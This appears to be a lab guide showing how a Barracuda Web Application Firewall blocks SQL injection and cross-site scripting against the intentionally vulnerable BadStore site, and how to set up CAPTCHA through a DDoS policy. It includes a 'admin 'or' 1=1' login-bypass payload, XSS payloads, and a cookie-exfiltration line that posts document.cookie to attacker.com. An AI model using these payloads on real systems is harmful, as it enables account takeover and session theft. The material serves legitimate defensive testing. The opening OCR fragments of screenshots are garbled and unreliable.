Web Application Firewall: Ser oarracudadnslcytwfxb3ab orf task inable Access Logs iession Timeout comments sic security Veb Firewall Policy: Veb Firewall Policy: Veb Firewall Log Level: tode:	vice - Google Chrom 33g. westus.clouda 80 Pot of the servic 255 255 255 60 50 50 60 50 50 60 50 50 60 50 60 50 60 50 60 50 60 50 60 50 60 60 50 60 60 50 60 60 50 60 60 50 60 60 60 50 60 60 50 60 60 50 60 60 60 50 60 60 60 60 60 60 60 60 60 6	e app.azur ce. 0 epalve tim mes out. • • • • • • • •	e.com:8000/cgi-m eeout in seconds for pe seout in seconds for pe to a second second in second second in second second in second second in the second second second in the second second in the second second in the second second second second in the second second second second second in the second second second second second second second in the second second second second second second second second second in the second second second second second second second second second in the second	nod/index.cg rraistent connec d for this Service The lower level I pass through. A to Thasher, a	i?password = 5 iions with clients.	C1C6a609de55 Save	Cancel Help	X) ar X 3202 70580 eb Frew Real	de Pok	Constant Consta	x harden and a second and a sec	W ×	f28
Web Application Firewall: Ser barracudadnslcytwfxb3ab Port Mask Inable Access Logs Bession Timeout Comments SEC SECURITY Neb Firewall Policy: Neb Firewall Log Level: Adde: Tusted Hosts Action:	vice - Google Chrom 33g.westus.clouda 80 Peto of the servic 255 255 255 9 Yes No 60 Specifies the kee session never bit default Select a policy fr S-Notice Redet the layor Passiv Passiv When are the Allow Passiv When are the Allow Passiv When are the Allow Passiv When are the Allow Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Passiv Pass	ee epalve bin mes out.	e.com:8000/cgi-m ecout in seconds for pe secut in seconds for pe secut in seconds for pe discussion traffic to allows traffic to the characteristic form assed through Allows	nod/index.cg	i?password=5	C1C6046034655 Save	Cancel Help	X ar X 3202 7058d	de Pole	More Action	x h	W × P5b4dda	He

Click Save.

<u>Test 3 – SQL Injection Attack pt.2</u>

Generating SQL Injection Attack

We will follow the same steps mentioned in Passive mode to generate a SQL injection attack.

Apps 🕜 How to Configure Sys 🧃 cor	sciergeStageapp-cc 🔷 Subscription:	- Micron 📕 How to install and con	
	BadStore	net	
	Welcome {Unregistered	User} - Cart contains 0 items at \$0.00 View.Cart	Search Go
	Shop Badstore.net	Login to Your Account or Register for a	New Account
	Home What's New Sign Our Guestbook View Previous Orders About Us My Account Login / Register	Login to Your Account Email Address: admin or 1=1 Password:	
	Suppliers Only Supplier Login	Register for a New Account Full Name:	
	Supplier Contract Supplier Procedures	Password:	

- 1. Open the web browser and navigate to the **BadStore** website.
- 2. On the BadStore website, click **Login / Registe**r. You will be asked to enter the login credentials to see your orders.
- 3. In the Login / Register page, enter "admin 'or' 1=1" in the Email Address field.
- 4. Enter "admin" as password in the **Password** field, and click Login.
- 5. The Barracuda Web Application Firewall identifies this as an SQL injection attack and blocks the request.



 Now, login to the Barracuda Web Application Firewall web interface and go to the BASIC > Web Firewall Logs page. You will see the log that shows the SQL injection attack denied.

BASIC	SECURITY POLICIES	WEBSITES	ACCESS CONTROL	ADVANC	ED		Search help t	topics
nboard orts	Services De Online Help Search	efault Security	Certificates IP Confi	guration	Administration	Web Firewall Log	s Access Logs Audit Logs	s Notifications
B FIREW	ALL LOGS					Generate	CSV File 👻 Show: 20 logs pe	er page 👻 🔯
Select Filt	er- • is equal to		•		+	Apply Filter	Save Filter	
			Page 1	of 2 <	1 2	>		
Time		Event Details	Page 1	of 2 <	1 2	> Attack Details		Actions
Time	NIED	Event Details URL	Page 1	of 2 < Client Deta	1 2	> Attack Details		Actions
Time ↑ DE Time	NIED 19:20:01.135	Event Details URL Service IP:Port	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80	of 2 < Client Deta Client IP	1 2 ils 45.125.254.129	Attack Details	SQL Injection in Parameter	Actions Fix Details
Time Time Date	NIED 19:20:01.135 2016-09-14	Event Details URL Service IP:Port Service Name	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore	of 2 < Client Deta Client IP Country	1 2 1 45.125.254.129	Attack Details Attack Name Attack Detail	SQL Injection in Parameter type="sql-injection-medium" patt	Actions Fix Details
Time Time Time Date ID	NIED 19:20:01.135 2016-09-14 1572ba4c4ef-9ef4d6e9	Event Details URL Service IP:Port Service Name Protocol	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP	of 2 < Client Deta Client IP Country Method	1 2 45.125.254.129 POST	> Attack Details Attack Name Attack Detail Rule	SOL Injection in Parameter type="sql-injection-medium" patt security-policy	Actions Fix Details
Time ↑ DE Time Date ID	NIED 19:20:01.135 2016-09-14 1572ba4c4ef-9ef4d6e9 OAKED	Event Details URL Service IP:Port Service Name Protocol URL	Page 1 /cgi-bin/badstore.cgi 10.0.1.4:80 badstore HTTP /cgi-bin/badstore.cgi	of 2 < Client Deta Client IP Country Method	1 2 1 45.125.254.129 POST	Attack Details Attack Name Attack Detail Rule	SQL injection in Parameter type=*ql-injection-medium* patt security-policy	Actions Fix Details
Time Time Time Date ID Time Time	NIED 19.20.01.135 2016-09-14 1572ba4c4ef-9ef4d6e9 0AKED 19.19.55.652	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port	Page 1 /cgi-bin/badstore.cgi 10.0.1.4.80 badstore HTTP /cgi-bin/badstore.cgi 10.0.1.4.80	of 2 < Client Deta Client IP Country Method	1 2 45.125.254.129 POST 45.125.254.129	 Attack Details Attack Name Attack Detail Rule Attack Name 	SQL Injection in Parameter type="sql-injection-medium" patt security-policy Cookie Tampered	Actions Fix Details
Time Time Date ID Time Date Date Date	NIED 19.20.01.135 2016-09-14 1572ba4c4ef-9ef4d6e9 OAKED 19.19.55.652 2016-09-14	Event Details URL Service IP:Port Service Name Protocol URL Service IP:Port Service Name	Page 1 /cgl-bin/badstore.cgl 10.0.1.4.80 badstore HTTP /cgl-bin/badstore.cgl 10.0.1.4.80 badstore	of 2 < Client IP Country Method Client IP Country	1 2 is 45.125.254.129 N POST 45.125.254.129 IN	 Attack Details Attack Name Attack Name Attack Name Attack Detail 	SQL injection in Parameter type="sql-injection-medium" patt security-policy Cookie Tampered Cookie="SSOid" Reason="Cook	Actions Fix Details Fix Details

<u>Conclusion:</u> It is possible for us to bypass the authentication of the application using SQL injection. An unauthorized user can get into the restricted area of the application without any authentication, and can gain access to sensitive information such as Credit Cards, Social Security Number, etc. In Passive mode, the hacker was able to login as a Master Administrator and view all credit card information of users. When the same request was sent in Active mode, the Barracuda Web Application Firewall identified the attack and blocked the request.

<u>Test 4 – Cross-Site Scripting Attack pt.2</u>

We will follow the same steps mentioned in Passive mode to generate a Cross-Site Scripting attack.

Welcome {Unregistered U	ser} - Cart contains 0	items at \$0.00 <u>View Cart</u>	Search
Shop Badstore.net	Login to Your	Account or Register for a New A	Account
Home What's New Sign Our Guestbook View Previous Orders About Us My Account Login / Register	Login to Your A Email Address: Password:	Login	
Suppliers Only Supplier Login Supplier Contract Supplier Procedures	Register for a N Full Name: Email Address: Password:	lew Account user1 <script></script>	

Generating a Cross-Site Scripting Attack

- 1. Go to the Login / Register page of the BadStore website.
- 2. In the **Register for a New Account** section, enter the script below in the **Full Name** field and click **Register**:
 - 1. user1<script>alert("Hello !!!")</script>
- 3. The Barracuda Web Application Firewall identifies this as a Cross-Site Scripting attack and blocks the request.



4. Now, login to the Barracuda Web Application Firewall web interface and go to the **BASIC > Web Firewall Logs** page. You will see the log that shows the Cross-Site

Scripting attack denied.



Conclusion

In Passive mode, we executed a stored XSS attack and were able to get a pop-up message whenever the user navigated to different tabs on the website. With XSS injection, it is possible to steal or manipulate customer session and cookies, which may be used to impersonate a legitimate user. The hacker can view or alter user records, and perform transactions as an authorized user. The attacker can get the cookie or send it to a remote server. We can send the value as <script>alert(document.cookie)</script> to get the cookie, and use the below command to send cookies to his server.

"><script>document.location='<u>http://www.attacker.com/cgi-bin/cookie.cgi</u>?' +document.cookie</script>

When the service is in Active mode, the Barracuda Web Application Firewall detects such attacks and blocks the request immediately.

Test 5 - CAPTCHA Validation

You can enable Completely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA) validation to a service in both Passive and Active mode.

The users are challenged with the CAPTCHAs to find out if a client is regular browser, a BOT, or a crawler. You can enable CAPTCHA validation to all clients who access a URL space, or issue the CAPTCHAs only to clients with suspicious profiles. The Barracuda Web Application Firewall evaluates a client and determines if the client is suspicious or not based on the configured DDoS policy.

For more information, refer to

https://campus.barracuda.com/product/webapplicationfirewall/article/WAF/ConfigDDoS Policy/?welcome-to-campus=techlibrary

Enabling CAPTCHA for a URL Space

Configure a New DDos policy; create a new one by following the steps below:

- 1. Login to the Barracuda Web Application Firewall web interface
- 2. Go to the **WEBSITES > DDOS Prevention page**, and click **Add** next to the service.
- 3. In the Add DDOS Policy window, enter values for the following fields:
 - a. DDos Policy Name enforce-captcha
 - b. Host Match *
 - c. URL Match /cgi-bin/badstore.cgi
 - d. Extended Match (Parameter action eq whatsnew)
 - e. Enfoece CAPTCHA All Clients
- 4. Keep the default values for other parameters and click Save.

		Save
DIT DOOS POLICY		Help
Service	badstore_service	
DDos Policy Name	enforce-captcha	
Host Match	*	
	Specify the matching criterion for host field in the Request Header. This can be specific host match or a wildcard host match with a single * ** anywhere in the You can enter a partial domain with wildcard (for example: * abc.com), but mult asterisks cannot be used. Example: * *abc.com www.abc.com	e a s URL tiple
URL Match	/cgi-bin/badstore.cgi	
	Enter the matching criterion for the URL field in the Request Header. The URL start with a "/" and can have only one " * " anywhere in the URL A value of /" in that the ACL applies for all URLs in that domain. Example: /* Andex.html /public/index.html	should means
Extended Match	(Parameter action eq whatsn 📝	
	An expression made up of various HTTP header components, to match reque special attributes in the HTTP Headers or query string parameters. The token sensitive.	ists with i is case
Extended Match Sequence	1	
	The order in which to evaluate this rule's Extended Match expression when a matches multiple rules with the same URL Match and Host match.	request
Evaluate Clients	On Off	
	Specifies whether or not track and detect and mark suspected bots or non bro based user agents.	pwiser .
Enforce CAPTCHA	All clients -	

DOS POLICY							Preferences	
Name	IP:Port	URL Match	Host Match	Enforce CAPTCHA	Max CAPTCHA Attempts	Options		
🗏 🚞 default								
badstore_service	10.0.1.4:80					Add		
C enforce-captcha		/cgi-bin/badstore.cgi	•	All clients	5	Edit	Delete	

Based on the above configuration, we should receive a CAPTCHA when we try to access the What's New page on the Badstore website.

CAPTCHA Validation

1. Go to the **BadStore** website, and click on any page except **What's New.** You should be able to see the content.

2. Click on **What's New**. You will be challenged to solve the CAPTCHA to access the page.



3. Solve the CAPTCHA and click Submit. You will be redirected to the Home page of BadStore.

4. Click What's New again. Now, you will see the new items listed in BadStore.

